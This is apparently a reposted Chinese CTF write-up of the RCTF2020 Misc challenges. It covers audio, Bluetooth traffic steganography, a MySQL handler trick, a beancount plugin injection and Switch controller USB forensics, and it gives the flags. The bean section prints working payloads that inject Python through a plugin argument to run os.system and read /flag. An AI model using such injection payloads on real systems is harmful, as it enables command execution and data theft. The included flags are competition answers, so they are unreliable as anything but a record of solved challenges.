RCTF2020 (天枢wp Misc搬运)

MISC

listen

是一个音乐。找到了音乐密码表。
https://www.freebuf.com/articles/wireless/167093.html

队里音乐dalao直接听音出flag
我直接傻了。
RCTF{ufindthemusicsecret}

Animals

拿到arduino的一个程序,发现是无线电。

88是Love and kisses 的缩写
压缩包密码拿到,可以打开。
有一个二维码不知有何用,
另一个是蓝牙传输的流量包。
OBEX协议传了4个文件。
里面有3个图片,1个txt。
在secret.png里面
steghide空密码。
得到flag.txt
是emoji加密。。。
(流量包里写emjoy encrypt ??
反正是单表直接爆破了。
RCTF{N0t1s@_B@ss}

mysql_interface

好像非预期了。。

handler flag open
handler flag read first

后来听null的师傅说

select flag from .flag

bean


随便选一个plugin,我选的beancount.plugins.check_average_cost
估计着输出会有规则过滤(然而没有),就打算建立一个名字为flag的账户,奈何flag不符合账户格式,就base64处理一下再include.
分别执行三句
plugin "beancount.plugins.check_average_cost" "__import__('os').system('base64 /flag > /tmp/Ts2222_base64')"

plugin "beancount.plugins.check_average_cost" "open('/tmp/Ts2222','w').write('2014-01-01 open Assets:'+open('/tmp/Ts2222_base64').read().replace('=',''))"

include "/tmp/Ts2222"
最后:

switch

使用 tshark 提取传输的HID中断数据

tshark -r ./capture.pcapng -Y 'usb.endpoint_address.direction == 1 && usb.src == "1.44.1"' -T fields -e frame.time_relative -e usb.capdata > dump.txt

根据文章:
https://mzyy94.com/blog/2020/03/20/nintendo-switch-pro-controller-usb-gadget/

入力データ
初期化処理の次は、入力データを紐解きます。 Pro Controllerからのボタンの入力データは、08 04 Enable USB HID Joystick reportがSwitchからPro Controllerに送られると、一秒間におよそ80回の周期で30 XXで始まるURBをPro Controllerが送りつけてくるようになります。
この30 XXで始まるデータは、前途の通りHID Report Descriptorで通知されている通りではないので、どういった定義で値が意味をなしているかを通信からは断定できません。 ですが、先のchromiumのnintendo_controllerのソースコードに、どのビットがどのボタンであるかなど、定義を読み取るれる実装がありました。

得知HID数据格式组成,我们只需要判断第三个byte,如果不为00则存在ZR R SR SL A B X Y中的按钮被按下的情况,提取出当时的视频画面即可。

import re 
import time
import moviepy.editor as mpe

match = []

def init():
    global match
    r = re.compile(r'^(\d+\.\d+)\W30:..:..:(.{8})',re.MULTILINE)
    with open('dump.txt','r') as dumpfr:
        match = r.findall(dumpfr.read())

def cut_frame():
    video = mpe.VideoFileClip('screenrecord.mp4')
    #np_frame = video.get_frame(2) # get the frame at t=2 seconds
    video.save_frame('my_image.jpg', t=2) # save frame at t=2 as JPEG

    vid_time_offset = 6.1 # 07.147 07.249 155.910 6.2693 8.0374
    is_last_zero = True
    for m in match:
        if m[1] == '00:80:00':
            is_last_zero = True
        else:
            if is_last_zero == True:
                print(f'saving: {m[0]}\t{m[1]}')
                fn = m[1].replace(':','')
                video.save_frame(f'frames/{m[0]}-{fn}.png', t=vid_time_offset+float(m[0]))
                is_last_zero = False
    # RCTF{5witch_1s_4m4z1ng_m8dw65}

if __name__ == "__main__":
    init()
    cut_frame()

抄出其中的字符即可获得 RCTF{5witch_1s_4m4z1ng_m8dw65}

推荐文章